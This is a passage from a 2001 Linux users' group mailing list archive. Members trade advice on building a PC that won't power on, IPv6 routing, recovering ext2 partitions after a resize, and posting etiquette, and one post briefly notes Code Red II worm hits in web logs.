jd8!!Tc/!!6W;!!N5Qe9 > > Quick question for a Sunday, > > I am putting together a PC and this is the first one where the CPU and > fan did not come as a single unit. The CPU is an Athlon 1.4 GHz and the > fan instructions are non-existant. Does the thermal compound go on the > little square located on the CPU? The little square on the cpu is the silicon wafer that the circuits live on. This is where you want the grease. Make sure to put the fan on 'evenly' so it dissipates the heat properly. > Second question, the fans are > actually two fans and the board has two inserts for fans. However, I > have read where the fans should not draw power from the board but from > the power supply itself. Can I have the fans run from the board or do I > hook it directly into the power supply? As long as you have a 300w powersupply it shouldn't make a difference. I usually use the on board power for fans. Maybe there is a reason not too, but I like to save the molex connectors for other devices. > > Thank you for the consideration > > -- > Perry Hoekstra > E-Commerce Architect > Talent Software Services > perry.hoekstra@talentemail.com > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From cfandre at fandre.com Sun Aug 5 08:38:47 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:25:30 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] TCLUG Meeting slides In-Reply-To: <20010804181305.A2487@candle.mn.mediaone.net> Message-ID: <20010805083846.C18209@fandre.com> I just wanted to thank Nate and Scott for their presentations at the last TCLUG meeting. They put together their talks at the last minute and from what I hear turned it into a pretty good meeting. I put up both Nate's and Scott's notes on the tclug webpage under the meetings section, so take a look if you missed it. http://www.mn-linux.org/meetings/ _______________________________________________ tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-announce From eng at pinenet.com Sun Aug 5 21:11:28 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:25:30 2005 Subject: Fwd: [TCLUG] I'm paranoid about MS, but this....sdm Message-ID: <20010806.2112800@linwin.mshome.net> The writer is on to something. Clearly, M$ is capable of providing a more secure OS. So why don't they ?? M$ has been a winner because they understand the art of war. They realize their days are numbered and are desperate to diversify. Does anybody believe China and India and Russia and Japan are going to pay Bill to license Windows ?? StarOffice is considered a pseudo-OS. The StarOffice email client is a layer or two separated from the OS. Maybe that's why the Pentagon is a big StarOffice customer ?? I don't know ?? >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/3/01, 12:35:26 AM, Bob Tanner wrote regarding [TCLUG] I'm paranoid about MS, but this....sdm: > http://www.pbs.org/cringely/pulpit/pulpit20010802.html > Isn't replacing TCP/IP with TCP/MS on the Internet going to make MS even MORE of > a monopoly? > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From dieman+tclug at ringworld.org Sun Aug 5 21:39:42 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:30 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] TCLUG Meeting slides In-Reply-To: <20010805083846.C18209@fandre.com> Message-ID: <20010805213942.P6692@ringworld.org> * Clay Fandre [010805 21:12]: > I just wanted to thank Nate and Scott for their presentations at the last TCLUG meeting. They put together their talks at the last minute and from what I hear turned it into a pretty good meeting. I put up both Nate's and Scott's notes on the tclug webpage under the meetings section, so take a look if you missed it. http://www.mn-linux.org/meetings/ No problem. I might want to come back and to something on ipsec or ipv6 sometime soon. I've gotten ipsec to work decently well before, but ipv6 im just starting to toy with. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Sun Aug 5 21:51:32 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:30 2005 Subject: [TCLUG] IPv6 troubleshooting (whee!) In-Reply-To: <20010805144914.5d5bd450.hick0088@tc.umn.edu> Message-ID: <20010805215132.Q6692@ringworld.org> * Mike Hicks [010805 14:50]: > mike@hardrock:~$ ping6 www.kame.net > PING www.kame.net(apple.kame.net) 56 data bytes > >From 3ffe:b80:139:1::1: Destination unreachable: Address unreachable > >From 3ffe:b80:139:1::1: Destination unreachable: Address unreachable > > --- www.kame.net ping6 statistics --- > 2 packets transmitted, 0 packets received, 100% packet loss > mike@hardrock:~$ traceroute6 www.kame.net > traceroute6 to kame220.kame.net (2001:200:0:4819:280:adff:fe71:81fc) from > 3ffe:b80:139:1:2a0:24ff:fe35:b9f8, 30 hops max, 16 byte packets > 1 3ffe:b80:139:1::1 (3ffe:b80:139:1::1) 0.807 ms !H 0.66 ms !H 0.587 > ms !H > The eth0 interfaces on both my router and my client box have two inet6 > addresses, one link-local (/10 with ff80 prefix) and the other global > (/64). Some ideas: A) I dont have an address on my internal interface, with just a link-local it works. B) Set 2000::/3 to your 'defaultroute' interface. Yeah, dont ask, its something that the developers did. C) use an usagi kernel. Search for them on gooogle. D) I had to add the 'subnet' to the route on my eth0 So like, i put my prefix in and gave it dev of my internal network interface... This was the one pitfall for me. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From jpschewe at mtu.net Sun Aug 5 22:20:17 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:25:30 2005 Subject: [TCLUG] HELP! I hosed my disk. Message-ID: <20010805232017.C20900@mtu.net> Ok, I did something I probably should've have. I needed to resize two partitions and backed up the data on those partitions, but not all the data on the rest of the disk. I figured I'd be ok, I was wrong. I resized sda5 to be larger and sda6 to be smaller, but still fill the same space. When I rebooted sda7 and sda8 are hosed. I tried mounting them and can't find superblock. I tried fsck, but it gives bad magic number in super-block. Is there any way to recover the data on sda7 and sda8, or am I completly hosed? I do have a tape backup of the critical files, but I'd rather not have to go through the reinstall of the whole OS. For those interested sda7 and sda8 contain /usr, /var(symlink to /opt/var, I was trying to fix this) and /opt. I think I can get by without /var and /opt, but /usr would be really nice to recover. The partition table is correct, cylinder by cylinder, just no superblock. The partitions are ext2, so no journal. Am I hosed and I just do a fresh install and restore from tape? Or is there some way to recover this? -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From dutchman at uswest.net Sun Aug 5 22:23:07 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:25:30 2005 Subject: [TCLUG] Power and Motherboards Message-ID: <3B6E0D9B.8010004@uswest.net> I am trying to put together a new PC. Spencer helped me with the thermal compound and CPU. Now my problem is no go. I went through the archives and read about power supplies and motherboards but most of the threads dealt with checking a power supply without a Mobo. I have the motherboard installed (Abit KT7A-RAID), the CPU in the socket, memory installed and a video card. I checked the seating of the ATX power coupling into the motherboard. However, when I try to turn it on, there is nothing. I went through the manual and it has a lot on troubleshooting the BIOS settings but nothing on problems with power up. Thoughts anyone? -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From gabe at msi.umn.edu Sun Aug 5 22:48:51 2001 From: gabe at msi.umn.edu (Gabe Turner) Date: Mon Jan 17 13:25:30 2005 Subject: [TCLUG] Power and Motherboards In-Reply-To: <3B6E0D9B.8010004@uswest.net>; from dutchman@uswest.net on Sun, Aug 05, 2001 at 10:23:07PM -0500 References: <3B6E0D9B.8010004@uswest.net> Message-ID: <20010805224851.A3017@monsoon.msi.umn.edu> On Sun, Aug 05, 2001 at 10:23:07PM -0500, Perry Hoekstra wrote: > I am trying to put together a new PC. Spencer helped me with the > thermal compound and CPU. Now my problem is no go. I went through the > archives and read about power supplies and motherboards but most of the > threads dealt with checking a power supply without a Mobo. I have the > motherboard installed (Abit KT7A-RAID), the CPU in the socket, memory > installed and a video card. I checked the seating of the ATX power > coupling into the motherboard. However, when I try to turn it on, there > is nothing. I went through the manual and it has a lot on > troubleshooting the BIOS settings but nothing on problems with power up. Well, this could be any number of things, but I see this most often when a motherboard is grounding on the case. This happens when a peice of metal on your case is touching a part of your motherboard that it shouldn't be. What I usually try is taking the motherboard out of the case, set it on something non-conductive (a piece of cardboard works well), hook everything up to it and power it on. If things start running (CPU fan starts spinning, any LEDs on the motherboard light up) and I get any beeps[1], then I know that may mobo was probably grounding on my case somewhere. [1] Make sure you hook your cases speaker up to your mobo. Almost every mobo will spit out a series of diagnostic beeps if it encounters a problem. These beeps are usually documented in the manual that came with the board. What you're seeing could be any number of things, however. Other possibilities I can think of: * Improperly installed memory - maybe it's not in the slot all the way; maybe it needs to be interleaved; maybe you installed your DIMM in slot 3 instead of slot 0... * [Mis|Un]set jumpers. If your mother board requires jumpers for things like CPU speed, CPU voltage, CPU multiplier, etc, it won't start up if they're not set properly. HTH, Gabe -- ------------------------------------------------------------------------ Gabe Turner gabe@msi.umn.edu SGI Origin Systems Administrator, University of Minnesota Supercomputing Institute for Digital Simulation and Advanced Computation www.msi.umn.edu ------------------------------------------------------------------------ From blutgens at sistina.com Sun Aug 5 22:56:35 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] HELP! I hosed my disk. In-Reply-To: <20010805232017.C20900@mtu.net>; from jpschewe@mtu.net on Sun, Aug 05, 2001 at 11:20:17PM -0400 References: <20010805232017.C20900@mtu.net> Message-ID: <20010805225635.A513@minime.sistina.com> On Sun, Aug 05, 2001 at 11:20:17PM -0400, Jon Schewe wrote: > >Am I hosed and I just do a fresh install and restore from tape? Or is there >some way to recover this? > You'd have to manually edit the partition table in the superblock. You can get a copy of it with dd. I couldn't begin to tell you what to do with ti tho. There is a company that does just htis very thing, I'll be damned if I can think of thier name though. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010805/e692630e/attachment.pgp From jpschewe at mtu.net Sun Aug 5 23:04:58 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] HELP! I hosed my disk. In-Reply-To: <20010805225635.A513@minime.sistina.com>; from blutgens@sistina.com on Sun, Aug 05, 2001 at 10:56:35PM -0500 References: <20010805232017.C20900@mtu.net> <20010805225635.A513@minime.sistina.com> Message-ID: <20010806000458.A21285@mtu.net> On Sun, Aug 05, 2001 at 10:56:35PM -0500, Ben Lutgens wrote: > On Sun, Aug 05, 2001 at 11:20:17PM -0400, Jon Schewe wrote: > > > >Am I hosed and I just do a fresh install and restore from tape? Or is there > >some way to recover this? > > > > You'd have to manually edit the partition table in the superblock. You > can get a copy of it with dd. So even though I have a working partition table I need to get that inside the superblock? Would mke2fs -S do this? > I couldn't begin to tell you what to do with ti tho. There is a company > that does just htis very thing, I'll be damned if I can think of thier > name though. I'm guess they'd like lots of money though. If it comes to that, I'll reinstall the OS and live with it. It's worth the time and experience to figure out how to do this, but not the money at this point. -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From rudie at sihope.com Mon Aug 6 00:09:55 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] Power and Motherboards In-Reply-To: <20010805224851.A3017@monsoon.msi.umn.edu> References: <3B6E0D9B.8010004@uswest.net> <20010805224851.A3017@monsoon.msi.umn.edu> Message-ID: <01080600095500.08176@localhost.localdomain> On Sunday 05 August 2001 10:48 pm, you wrote: > On Sun, Aug 05, 2001 at 10:23:07PM -0500, Perry Hoekstra wrote: > > I am trying to put together a new PC. Spencer helped me with the > > thermal compound and CPU. Now my problem is no go. I went through the > > archives and read about power supplies and motherboards but most of the > > threads dealt with checking a power supply without a Mobo. I have the > > motherboard installed (Abit KT7A-RAID), the CPU in the socket, memory > > installed and a video card. I checked the seating of the ATX power > > coupling into the motherboard. However, when I try to turn it on, there > > is nothing. I went through the manual and it has a lot on > > troubleshooting the BIOS settings but nothing on problems with power up. > > Well, this could be any number of things, but I see this most often when a > motherboard is grounding on the case. This happens when a peice of metal > on your case is touching a part of your motherboard that it shouldn't be. > > What I usually try is taking the motherboard out of the case, set it on > something non-conductive (a piece of cardboard works well), hook everything > up to it and power it on. If things start running (CPU fan starts > spinning, any LEDs on the motherboard light up) and I get any beeps[1], > then I know that may mobo was probably grounding on my case somewhere. > > [1] Make sure you hook your cases speaker up to your mobo. Almost every > mobo will spit out a series of diagnostic beeps if it encounters a problem. > These beeps are usually documented in the manual that came with the board. > > What you're seeing could be any number of things, however. Other > possibilities I can think of: > > * Improperly installed memory - maybe it's not in the slot all the way; > maybe it needs to be interleaved; maybe you installed your DIMM in slot 3 > instead of slot 0... > > * [Mis|Un]set jumpers. If your mother board requires jumpers for things > like CPU speed, CPU voltage, CPU multiplier, etc, it won't start up if > they're not set properly. Or the power switch lead improperly attached... CBOS jumper jumpered for clear.. -Just more thoughts.. Good luck > > HTH, > > Gabe From tanner at real-time.com Mon Aug 6 00:14:47 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] MAPS replacement Message-ID: <20010806001447.F29128@real-time.com> Nice. Very nice! http://linuxtoday.com/news_story.php3?ltsn=2001-08-05-011-20-NW-CY I was going to propose this on SourceForge, but someone else already is doing it. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Mon Aug 6 01:59:21 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? Message-ID: <20010806015921.G29128@real-time.com> Are there any HAM radio operators on this list? Would you be willing to sit down and talk with me over lunch/dinner or a beer (my treat of course)? Contact me off-list via email or phone. I'll tie this into Linux eventually, just need to trust me. :-) -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Mon Aug 6 03:42:28 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] RH 7.1 and xpm? Message-ID: <20010806034228.N29128@real-time.com> Is xpm no longer in Redhat? I quick look at 7.1 packages and I don't see xpm in any of the packages. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From moomonk at greentechnologist.org Mon Aug 6 01:16:49 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] HELP! I hosed my disk. In-Reply-To: <20010805232017.C20900@mtu.net> Message-ID: I'm no ext2 guru but I think you should go check out http://list.terminus.sk/fs-salvage. Send 'subscribe fs-salvage' to list@list.terminus.sk. So what do you *really* mean by 'resize'? This involves some sort of tool I imagine. Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Sun, 5 Aug 2001, Jon Schewe wrote: > Ok, I did something I probably should've have. I needed to resize two > partitions and backed up the data on those partitions, but not all the data > on the rest of the disk. I figured I'd be ok, I was wrong. I resized sda5 > to be larger and sda6 to be smaller, but still fill the same space. When I > rebooted sda7 and sda8 are hosed. I tried mounting them and can't find > superblock. I tried fsck, but it gives bad magic number in super-block. Is > there any way to recover the data on sda7 and sda8, or am I completly hosed? > I do have a tape backup of the critical files, but I'd rather not have to go > through the reinstall of the whole OS. For those interested sda7 and sda8 > contain /usr, /var(symlink to /opt/var, I was trying to fix this) and /opt. > I think I can get by without /var and /opt, but /usr would be really nice to > recover. The partition table is correct, cylinder by cylinder, just no > superblock. The partitions are ext2, so no journal. > > Am I hosed and I just do a fresh install and restore from tape? Or is there > some way to recover this? > > -- > Jon Schewe | http://mtu.net/~jpschewe > For I am convinced that neither death nor life, neither angels > nor demons, neither the present nor the future, nor any > powers, neither height nor depth, nor anything else in all > creation, will be able to separate us from the love of God that > is in Christ Jesus our Lord. - Romans 8:38-39 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From spencer at mudpiefoods.com Mon Aug 6 08:59:56 2001 From: spencer at mudpiefoods.com (SpencerUnderground) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] Power and Motherboards In-Reply-To: <20010805224851.A3017@monsoon.msi.umn.edu>; from gabe@msi.umn.edu on Sun, Aug 05, 2001 at 10:48:51PM -0500 References: <3B6E0D9B.8010004@uswest.net> <20010805224851.A3017@monsoon.msi.umn.edu> Message-ID: <20010806085956.B7643@mudpiefoods.com> On Sun, Aug 05, 2001 at 10:48:51PM -0500, Gabe Turner wrote: > From: Gabe Turner > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Power and Motherboards > User-Agent: Mutt/1.2.5i > In-Reply-To: <3B6E0D9B.8010004@uswest.net>; from dutchman@uswest.net on Sun, Aug 05, 2001 at 10:23:07PM -0500 > Errors-To: tclug-list-admin@mn-linux.org > X-BeenThere: tclug-list@mn-linux.org > X-Mailman-Version: 2.0.6 > Precedence: bulk > Reply-To: tclug-list@mn-linux.org > List-Help: > List-Post: > List-Subscribe: , > > List-Id: Twin Cities Linux Users Group Mailing List > List-Unsubscribe: , > > List-Archive: > Date: Sun, 5 Aug 2001 22:48:51 -0500 > X-UIDL: P@6!!/bod9ZCbd9Za+e9 > > On Sun, Aug 05, 2001 at 10:23:07PM -0500, Perry Hoekstra wrote: > > I am trying to put together a new PC. Spencer helped me with the > > thermal compound and CPU. Now my problem is no go. I went through the > > archives and read about power supplies and motherboards but most of the > > threads dealt with checking a power supply without a Mobo. I have the > > motherboard installed (Abit KT7A-RAID), the CPU in the socket, memory > > installed and a video card. I checked the seating of the ATX power > > coupling into the motherboard. However, when I try to turn it on, there > > is nothing. I went through the manual and it has a lot on > > troubleshooting the BIOS settings but nothing on problems with power up. > > Well, this could be any number of things, but I see this most often when a > motherboard is grounding on the case. This happens when a peice of metal > on your case is touching a part of your motherboard that it shouldn't be. > > What I usually try is taking the motherboard out of the case, set it on > something non-conductive (a piece of cardboard works well), hook everything > up to it and power it on. If things start running (CPU fan starts > spinning, any LEDs on the motherboard light up) and I get any beeps[1], > then I know that may mobo was probably grounding on my case somewhere. > > [1] Make sure you hook your cases speaker up to your mobo. Almost every > mobo will spit out a series of diagnostic beeps if it encounters a problem. > These beeps are usually documented in the manual that came with the board. > > What you're seeing could be any number of things, however. Other > possibilities I can think of: > > * Improperly installed memory - maybe it's not in the slot all the way; > maybe it needs to be interleaved; maybe you installed your DIMM in slot 3 > instead of slot 0... > > * [Mis|Un]set jumpers. If your mother board requires jumpers for things > like CPU speed, CPU voltage, CPU multiplier, etc, it won't start up if > they're not set properly.> > Don't forget to check the cmos jumper. Some boards ship with it closed. >> > -- > ------------------------------------------------------------------------ > Gabe Turner gabe@msi.umn.edu > SGI Origin Systems Administrator, > University of Minnesota Supercomputing Institute > for Digital Simulation and Advanced Computation www.msi.umn.edu > ------------------------------------------------------------------------ > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From zibby+tclug at ringworld.org Mon Aug 6 09:19:07 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:31 2005 Subject: Trim Your Posts (Was Re: [TCLUG] Power and Motherboards) In-Reply-To: <20010806085956.B7643@mudpiefoods.com> Message-ID: On Mon, 6 Aug 2001, SpencerUnderground wrote: Oh my God...prepare to be larted...all that, and only two lines of new text. Could you at least trin out the headers? o/~ to the tune of Mary had a little lamb o/~ Please remember to trim your posts, trim your posts, trim your posts Please remember to trim your posts, Or I will kick your ass. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From esper at sherohman.org Mon Aug 6 09:40:04 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] HELP! I hosed my disk. In-Reply-To: <20010805232017.C20900@mtu.net>; from jpschewe@mtu.net on Sun, Aug 05, 2001 at 11:20:17PM -0400 References: <20010805232017.C20900@mtu.net> Message-ID: <20010806094004.C19813@sherohman.org> On Sun, Aug 05, 2001 at 11:20:17PM -0400, Jon Schewe wrote: > Am I hosed and I just do a fresh install and restore from tape? Or is there > some way to recover this? Although it's certainly not guaranteed to work, have you tried changing the two resized partitions back to their original configuration? This could at least get sda7 and 8 working well enough to pull them off to tape so that you can then reformat and restore them after (rere)resizing 5 and 6. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From spencer at mudpiefoods.com Mon Aug 6 09:38:16 2001 From: spencer at mudpiefoods.com (SpencerUnderground) Date: Mon Jan 17 13:25:31 2005 Subject: Trim Your Posts (Was Re: [TCLUG] Power and Motherboards) In-Reply-To: ; from zibby+tclug@ringworld.org on Mon, Aug 06, 2001 at 09:19:07AM -0500 References: <20010806085956.B7643@mudpiefoods.com> Message-ID: <20010806093816.A7748@mudpiefoods.com> > > Oh my God...prepare-> can i keep my signature? that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From jpschewe at mtu.net Mon Aug 6 09:53:07 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] HELP! I hosed my disk. In-Reply-To: ; from moomonk@greentechnologist.org on Mon, Aug 06, 2001 at 01:16:49AM -0500 References: <20010805232017.C20900@mtu.net> Message-ID: <20010806105307.A7428@mtu.net> On Mon, Aug 06, 2001 at 01:16:49AM -0500, Joshua b. Jore wrote: > I'm no ext2 guru but I think you should go check out > http://list.terminus.sk/fs-salvage. Send 'subscribe fs-salvage' to > list@list.terminus.sk. I'll take a look. Thanks. > > So what do you *really* mean by 'resize'? This involves some sort of tool > I imagine. The tool is fdisk. I have two partitions that I want to redistribute the space between, say the first on is cylinder 34 to 43 and the next one is 44 to 150, I want the first one larger and the second one smaller. So I backed up the data on those two partitions and fdisk shouldn't touch the other partitions so they'll be fine. I change the first one to be from 34 to 70 and the second one to be from 71 to 150 and all should be good. Well the partitions before these two are ok. The ones after those two are missing superblocks. -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From jpschewe at mtu.net Mon Aug 6 09:54:32 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] HELP! I hosed my disk. In-Reply-To: <20010806094004.C19813@sherohman.org>; from esper@sherohman.org on Mon, Aug 06, 2001 at 09:40:04AM -0500 References: <20010805232017.C20900@mtu.net> <20010806094004.C19813@sherohman.org> Message-ID: <20010806105432.B7428@mtu.net> On Mon, Aug 06, 2001 at 09:40:04AM -0500, Dave Sherohman wrote: > On Sun, Aug 05, 2001 at 11:20:17PM -0400, Jon Schewe wrote: > > Am I hosed and I just do a fresh install and restore from tape? Or is there > > some way to recover this? > > Although it's certainly not guaranteed to work, have you tried changing > the two resized partitions back to their original configuration? This > could at least get sda7 and 8 working well enough to pull them off to > tape so that you can then reformat and restore them after (rere)resizing > 5 and 6. My question is this, how does the size of 5 and 6 effect 7 and 8? The number of cylinders in 5 and 6 before is the same as the number of cylinders after. So 7 and 8 are still in exactly the same place. Or am I missing something here? -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From lxy at cloudnet.com Mon Aug 6 10:00:44 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] HTML help. (OT) ? In-Reply-To: <003c01c11c6c$63250220$0a01a8c0@inet> Message-ID: On Fri, 3 Aug 2001, Kelly wrote: > Ok I need some advice. > My company has a 100 or so laptops out in the field. We are doing away with morning meets and sending in completed work via company supplied software. Unfortunately, they don't think of all the other paperwork that needs to get turned in on a daily basis. > Making a spread sheet for each form would be the easiest way to solve the problem, but alas they are not willing to spend any moola. For office and they wont allow me to put star office on the laptops. They wont even allow them to connect to the internet. Ok, that's one of the more pointy-haired suggestions I've heard in awhile. You can't spend money, you can't load free software, and you can't connect to the internet. That severely limits your options. > What I am wondering is. Is it possable to make a form with html. That would be stored on multiple computers ( not on a web site). > They would fill in the form using a web browser. Then when done filling in, may be multiple of the same form. Email the contence of this form to one location? Then being able to view the individual forms? Ok.. some more details here. You can't connect to the internet, how are you going to e-mail forms anywhere? It'd be very simple to do in perl, but that would require A) installing perl on the laptops or B) connecting to the internet. -Brian From blayer at qwest.net Mon Aug 6 10:06:55 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:31 2005 Subject: [TCLUG] Power and Motherboards In-Reply-To: <3B6E0D9B.8010004@uswest.net> References: <3B6E0D9B.8010004@uswest.net> Message-ID: <20010806100655.01df6047.blayer@qwest.net> On Sun, 05 Aug 2001 22:23:07 -0500 "Perry Hoekstra" wrote: > I am trying to put together a new PC. Spencer helped me with the > thermal compound and CPU. Now my problem is no go. Can you be more specific than 'no go'? To some, no-go means absolutely no response from the power button, to others, it means that the supply, board fans, lights etc come up, but the machine fails to POST. If it is totally unresponsive to the power button, the first things that come to mind are: 1) You don't have the cord plugged in to a hot outlet. 2) The power switch on the rear of ATX supply is in the OFF position. 3) The power button on the case is mis-connected to the motherboard power (PWR) header. 4) The power supply is defective. If you get fans, etc, but no POST or any beeps at all: 1) CPU is bad, or inserted wrong 2) RAM is bad, or the wrong spec (note: you need Micron or other brand-name RAM for an ABIT board, the generic M-tec parts from GNS will *not* work.) 3) Softmenu III settings in CMOS are not appropriate to the installed CPU or RAM. Operate the CMOS clear jumper per the manual, to reset the CMOS configuration. You didn't crack the CPU wafer when you were installing the fan, did you? ;) -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Mon Aug 6 10:10:01 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:31 2005 Subject: Trim Your Posts (Was Re: [TCLUG] Power and Motherboards) In-Reply-To: <20010806093816.A7748@mudpiefoods.com> References: <20010806085956.B7643@mudpiefoods.com> <20010806093816.A7748@mudpiefoods.com> Message-ID: <20010806101001.301953e2.blayer@qwest.net> On Mon, 6 Aug 2001 09:38:16 -0500 "SpencerUnderground" wrote: > > > > Oh my God...prepare-> > > can i keep my signature? I've been reamed on the Debian m68k list for having a '5 line signature'... -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From trammell at trammell.dyndns.org Mon Aug 6 05:30:20 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:25:31 2005 Subject: Trim Your Posts (Was Re: [TCLUG] Power and Motherboards) In-Reply-To: <20010806093816.A7748@mudpiefoods.com>; from spencer@mudpiefoods.com on Mon, Aug 06, 2001 at 09:38:16AM -0500 References: <20010806085956.B7643@mudpiefoods.com> <20010806093816.A7748@mudpiefoods.com> Message-ID: <20010806053020.A6252@trammell.dyndns.org> On Mon, Aug 06, 2001 at 09:38:16AM -0500, SpencerUnderground wrote: > can i keep my signature? Only if you format it to 80 columns. -- Aren't you, at this point, cutting down a California Redwood using a banana *and* a particle accelerator? - Bernard El-Hagin, in CLPM From jethro at freakzilla.com Mon Aug 6 10:40:24 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] Code Red II Message-ID: Hey, So, I'm up to over 300 hits for the damn thing, so I figured it'd be fun to check out the web servers that are hitting me with it. A lot of them are just stupid script kiddies or less, which is hardly surprising. For instance, I've been invited to join in the wonderful world of Stephen's Hip-Hop, and asked to do impossible and illegal things to the USA Government. But then I got one from www.newltel.com. They're a freaking telco/ISP!!! Yeah, I'm going to use YOUR local phone services... -Yaron -- From zibby+tclug at ringworld.org Mon Aug 6 10:40:59 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:32 2005 Subject: Trim Your Posts (Was Re: [TCLUG] Power and Motherboards) In-Reply-To: <20010806093816.A7748@mudpiefoods.com> Message-ID: On Mon, 6 Aug 2001, SpencerUnderground wrote: > > > > Oh my God...prepare-> > > can i keep my signature? I don't care about your signature, it was the two or three quoted messages (including headers) that you only added to one line comments to that bugged me. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from 